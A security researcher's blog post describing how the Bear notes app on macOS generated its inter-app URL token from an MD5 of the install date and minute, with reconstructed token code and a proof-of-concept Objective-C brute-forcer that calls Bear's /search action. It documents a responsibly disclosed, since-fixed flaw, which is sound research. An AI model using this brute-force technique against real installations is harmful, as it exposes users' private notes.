Readers who know me, probably also know that I like test soft that I use. So it was this time. I wanted to collect all my chaotically stored notes in Apple Notes, docx files, txts etc. I considered many different noting apps but finally I chose Bear.app. Bear offers cool hashtags systems, markdown notation and syntax highlighting that totally bought me. 😉 Bear is also in top 10 App Store productivity apps!

Exploration

I started from reading the docs. After some time I came across interesting article.

OK, so Bear supports inter-app communication. Since using URL schemes is mentioned to be one-way communication mechanism, it implements a standard called x-callback-url. This standard allows two-way communication between apps using following algorithm:

Voilà! We have two-way inter-app communication based on URL schemes.

Now, take a look at actions that we can execute using these schemes. Some of them require token generated on first run of Bear.

Token not requiredToken required
/open-note/tags
/create/open-tag
/add-text/untagged
/add-file/todo
/rename-tag/today
/delete-tag/search
/trash
/archive
/grab-url
/change-theme
/change-font

As you can see some important actions like /trash doesnt require token, but it takes note UID as a parameter. So, if you want to abuse /trash action you’ll need to use /search (that will return notes UIDs) and then perform trash action. In order to do that, we need the authorization token…

Analyzing token generation mechanism

Let the reversing begin. Copy /Applications/Bear.app/Contents/MacOS/Bear to temporary location and open it with Hopper. We are looking for token generation method. So, just search for a token string!

Found. 😉 Now, it’s time to see what method exactly uses generateToken string. Well, it turned out that generateToken is the name of the method that we are looking for. Hopper deals with Objective-C code very well, so we generate the pseudocode as I shown below.

Hmm, it picks somhow formatted date, uses CC_MD5() function, makes some binary operations and saves it to string. It doesn’t look very secure since the token isn’t randomly generated. We have to see what’s the result of calling [SFDateHelper currentDateWithFormat:0x0];. To do this, we use modified Cycript version that is based on Frida engine. Injecting to Bear process is as simple as pass its name via -p parameter

Sztajger:frida-cycript wojciechregula$ ./cycript -p Bear
cy# [SFDateHelper currentDateWithFormat:0x0];
@"27 Feb 2019 at 00:41"

We can see now that input date is made of dd-MMM-yyyy:hh-mm. It’s not a wide range to bruteforce, so let’s write an exploit!

Developing an exploit

Before we start writing the exploit, make a notice that it will cover exploitation from another sandboxed app (generally downloaded from App Store) perspective. Unsandboxed app can just access Bear’s resources without this magic unless you encrypt your notes. 😉

Let’s discuss the exploit’s architecture. It will be just a Proof of Concept invoking /search action requiring valid token. To do that we’ll need to create Cocoa app since it will register URL scheme that is then handled by the application delegate. When our exploit launches it needs to start bruteforcing. Assuming that viewDidLoad (ViewController) will start the exploit, handleURLEvent (AppDelegate) will stop it (since we don’t want to continue the exploit when the token is found). Because these two methods will use the same object I decided to create an exploit module that is a singleton class with following declaration:

@interface Bruteforcer : NSObject

@property NSString *base_url;
@property BOOL isBruteforced;

+ (id)getInstance;

- (void)searchWithTag:(NSString*)tag term:(NSString*)term token:(NSString*)token;
- (void)bruteforceToken;
- (NSString*)generateTokenForDate:(NSDate*)dateFrom;
- (NSDate*)getInstallationDate;
- (void)start;

@end

Reconstructing generateToken method

- (NSString *)generateTokenForDate:(NSDate *)dateFrom {

    NSDateFormatter *df = [NSDateFormatter new];
    [df setDateFormat:@"MMM"];
    NSString *month = [df stringFromDate:dateFrom];
    NSCalendar *calendar = [NSCalendar currentCalendar];
    NSDateComponents *c = [calendar components:(NSCalendarUnitYear | NSCalendarUnitDay | NSCalendarUnitHour | NSCalendarUnitMinute) fromDate:dateFrom];
    NSString* date = [NSString stringWithFormat:@"%d %@ %d at %d:%d", (int)[c day], month, (int)[c year], (int)[c hour], (int)[c minute]];
    const char *str = [date UTF8String];
    unsigned char *result = malloc(16);
    CC_MD5(str, (unsigned int)strlen(str), result);
     
    unsigned char t1 = *(int8_t *)(result + 0x1) & 0xff;
    unsigned char t2 = *(int8_t *)(result + 0x9) & 0xff;
    unsigned char t3 = *(int8_t *)(result + 0x4) & 0xff;
    unsigned char t4 = *(int8_t *)(result + 0x6) & 0xff;
    unsigned char t5 = *(int8_t *)(result + 0x3) & 0xff;
    unsigned char t6 = *(int8_t *)(result + 0x8) & 0xff;
    unsigned char t7 = *(int8_t *)(result + 0x5) & 0xff;
    unsigned char t8 = *(int8_t *)(result + 0xc) & 0xff;
    unsigned char t9 = *(int8_t *)(result + 0xf) & 0xff;
    
    NSString *token = [NSString stringWithFormat:@"%02X%02X%02X-%02X%02X%02X-%02X%02X%02X", t1, t2, t3, t4, t5, t6, t7, t8, t9];
    free(result);
    return token;
}

Registering URL scheme

It’s as simple as adding an entry in Xcode -> Project File -> Info -> URL Types

Handling incoming URL invocation

We need to add handleURLMethod in AppDelegate.m. When this URL is invoked it means that /search operation was successfully executed in Bear and the token is bruteforced. We change isBruteforced property that will be handled in bruteforcing module.

- (void)handleURLEvent:(NSAppleEventDescriptor *)theEvent withReplyEvent:(NSAppleEventDescriptor *)replyEvent
{
    NSString *path = [[theEvent paramDescriptorForKeyword:keyDirectObject] stringValue];
    
    if(![path hasPrefix:@"bearinfiltrator://error"]) {
        // stop bruteforcing
        Bruteforcer *bruteforcer = [Bruteforcer getInstance];
        bruteforcer.isBruteforced = YES;
        
        NSAlert *alert = [[NSAlert alloc] init];
        [alert setMessageText:[NSString stringWithFormat:@"App received following information: %@", path]];
        [alert addButtonWithTitle:@"OK"];
        [alert runModal];
    }
}

Implementing /search invocation

- (void)searchWithTag:(NSString *)tag term:(NSString *)term token:(NSString *)token {
    
    NSString *query = [NSString stringWithFormat:@"search?term=%@&tag=%@&token=%@&show_window=no&x-source=BearInfiltrator&x-success=bearinfiltrator://success&x-error=bearinfiltrator://error", term, tag, token];
    
    NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@", self.base_url, query]];
    NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
    [workspace openURL:url];
    
}

Getting the installation date

Before starting bruteforcing it’s good idea to optimize it. The application token couldn’t had been created before Bear was installed. That’s why I will implement a method that will get the creation date of Bear.app directory (even sandboxed app can check that).

- (NSDate *)getInstallationDate {
    NSFileManager *fm = [NSFileManager defaultManager];
    NSString *filePath = @"/Applications/Bear.app";
    
    if ([fm fileExistsAtPath:filePath]) {
        NSDictionary *attributes = [fm attributesOfItemAtPath:filePath error:nil];
        NSDate *creationDate = attributes[NSFileCreationDate];
        return creationDate;
        
    }
    return nil;
}

Bruteforcing module

Bruteforcing module will be iterating over the dates adding 1 minute for each iteration:

- (void)bruteforceToken {
    
    NSDate *dateFrom = [self getInstallationDate];
    NSDate *dateTo = [NSDate new];
    NSTimeInterval ti = 60;
    
    do {
        if(!isBruteforced) {
            NSString *tmp_token = [self generateTokenForDate:dateFrom];
            [self searchWithTag:@"secret" term:@"" token:tmp_token];
        } else {
            return;
        }
        
        dateFrom = [dateFrom dateByAddingTimeInterval:ti];
        NSLog(@"%@", dateFrom);
        
    } while ([dateFrom compare:dateTo] == NSOrderedAscending);
    
    
    NSAlert *alert = [[NSAlert alloc] init];
    [alert setMessageText:@"Bruteforce failed"];
    [alert addButtonWithTitle:@"OK"];
    [alert runModal];
}

Other modules are rather obvious and not-worthy describing here. If you are interested to see the full exploit, ping me on Twitter. 😉

Results

After few seconds of running the exploit incoming message came! We managed to bruteforce the token.

Improvements

This exploit is really noisy. While bruteforcing the token it constantly changes the focus between Bear and exploit. However, assuming that user opened Bear first time after maximum 1 day from installation, bruteforcing will take few seconds (in my case 2-3).

Status

27th Feb 2019 - Issue sent do developers

24 April 2019 - I confirmed that the newest version is fixed. Token is now created basing on random UUID instead of current date.